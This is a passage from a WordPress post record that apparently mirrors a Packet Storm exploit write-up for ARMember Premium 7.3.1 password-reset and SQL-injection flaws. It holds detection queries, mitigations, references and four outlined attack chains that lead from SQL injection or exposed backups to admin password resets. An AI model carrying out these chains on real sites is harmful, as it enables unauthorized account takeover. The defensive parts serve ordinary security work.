exploit)\\n    SELECT user_id, meta_value FROM wp_usermeta \\n    WHERE meta_key = &#8216;arm_reset_password_key&#8217; \\n    AND meta_value != &#8221;;\\n    \\n    &#8212; Cek login mencurigakan\\n    SELECT * FROM wp_users \\n    WHERE user_activation_key != &#8221; \\n    AND user_modified \\u003e DATE_SUB(NOW(), INTERVAL 7 DAY);\\n    &#8220;`\\n    \\n    ### Mitigasi Tanpa Update\\n    \\n    &#8211; **Hapus meta key** `arm_reset_password_key` secara berkala via cron\\n    &#8211; **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja)\\n    &#8211; **Batasi** akses ke directory page (require login)\\n    &#8211; **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action`\\n    \\n    &#8212;\\n    \\n    ## \ud83e\udde9 Attack Scenarios\\n    \\n    ### Scenario A: Classic Full Chain (All CVEs Combined)\\n    \\n    &#8220;`\\n    Attacker discovers directory page \u2192 extracts nonce+tid \u2192 \\n    SQLi to read arm_reset_password_key (plaintext) \u2192 \\n    uses armrp endpoint to reset admin password \u2192 \\n    logs in as admin\\n    &#8220;`\\n    **Requires**: ARMember v5.x+ with forgot-password triggered by real user\\n    \\n    ### Scenario B: SQLi + WP Lostpassword Hybrid\\n    \\n    &#8220;`\\n    Attacker discovers directory page \u2192 extracts nonce+tid \u2192\\n    SQLi to extract admin_login + admin_email \u2192\\n    triggers WP lostpassword \u2192 email sent \u2192\\n    SQLi to read user_activation_key (hashed) \u2192\\n    CRACK the hash offline \u2192 reset password via wp-login.php\\n    &#8220;`\\n    **Requires**: Site with working mail server, hash cracking capability\\n    \\n    ### Scenario C: Database Backup Exposure\\n    \\n    &#8220;`\\n    Attacker finds exposed database backup (.sql, .zip, .tar.gz) \u2192\\n    grep for arm_reset_password_key \u2192 \\n    obtain plaintext keys \u2192 \\n    use armrp endpoint to reset passwords\\n    &#8220;`\\n    **Requires**: Exposed backup, no SQLi needed\\n    \\n    ### Scenario D: Compromised Admin + Lateral Movement\\n    \\n    &#8220;`\\n    Attacker gains admin via CVE-2022-1903 or other vector \u2192\\n    reads arm_reset_password_key for ALL users \u2192\\n    resets passwords for other admin accounts \u2192\\n    persists access even if original vulnerability is patched\\n    &#8220;`\\n    **Requires**: Initial admin access via any vector\\n    \\n    &#8212;\\n    \\n    ## \u26a0\ufe0f Disclaimer\\n    \\n    Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udcda Referensi\\n    \\n    &#8211; [Wordfence Advisory \u2014 CVE-2026-5076](https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/armember-membership\/armember-premium-731-insecure-password-reset-mechanism)\\n    &#8211; [Wordfence Advisory \u2014 CVE-2026-5073](https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/armember-membership\/armember-premium-731-unauthenticated-sql-injection)\\n    &#8211; [Wordfence Advisory \u2014 CVE-2026-5074](https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/armember-membership\/armember-premium-731-unauthenticated-sql-injection-2)\\n    &#8211; [ARMember Plugin Repository](https:\/\/wordpress.org\/plugins\/armember-membership\/)\\n    &#8211; [WordPress Password Reset Mechanism](https:\/\/developer.wordpress.org\/reference\/functions\/get_password_reset_key\/)\\n    &#8211; [CWE-640: Weak Password Recovery Mechanism](https:\/\/cwe.mitre.org\/data\/definitions\/640.html)\\n    \\n    &#8212;\\n    \\n    \\u003cdiv align=\\&#8221;center\\&#8221;\\u003e\\n    \\n    ![](https:\/\/img.shields.io\/badge\/Made%20with-%E2%9D%A4-red?style=flat-square)\\n    ![](https:\/\/img.shields.io\/badge\/For-Educational%20Purpose-blue?style=flat-square)\\n    \\n    Copyright \u00a9 2026 **XENON1337**\\n    \\n    Special Thanks: **ENDANG** \\n    \\n    \\u003c\/div\\u003e&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222633&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222633\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-04T15:32:06&#8243;,&#8221;description&#8221;:&#8221;WordPress ARMember Premium plugin versions 7.3.1 and below suffer from an insecure password reset mechanism that allows for administrative account takeover&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress ARMember Premium 7.3.1&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-59715","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59715\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-04T15:32:06&#8243;,&#8221;description&#8221;:&#8221;WordPress ARMember Premium plugin versions 7.3.1 and below suffer from an insecure password reset mechanism that allows for administrative account takeover&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress ARMember Premium 7.3.1...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59715\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-04T10:45:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633\",\"datePublished\":\"2026-06-04T10:45:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715\"},\"wordCount\":3938,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59715#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715\",\"name\":\"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-04T10:45:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59715\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59715#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59715","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-04T15:32:06&#8243;,&#8221;description&#8221;:&#8221;WordPress ARMember Premium plugin versions 7.3.1 and below suffer from an insecure password reset mechanism that allows for administrative account takeover&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress ARMember Premium 7.3.1...","og_url":"https:\/\/zero.redgem.net\/?p=59715","og_site_name":"zero redgem","article_published_time":"2026-06-04T10:45:54+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"20 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59715#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59715"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633","datePublished":"2026-06-04T10:45:54+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59715"},"wordCount":3938,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59715#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59715","url":"https:\/\/zero.redgem.net\/?p=59715","name":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-04T10:45:54+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59715#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59715"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59715#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59715","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59715"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59715\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59715"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59715"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59715"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}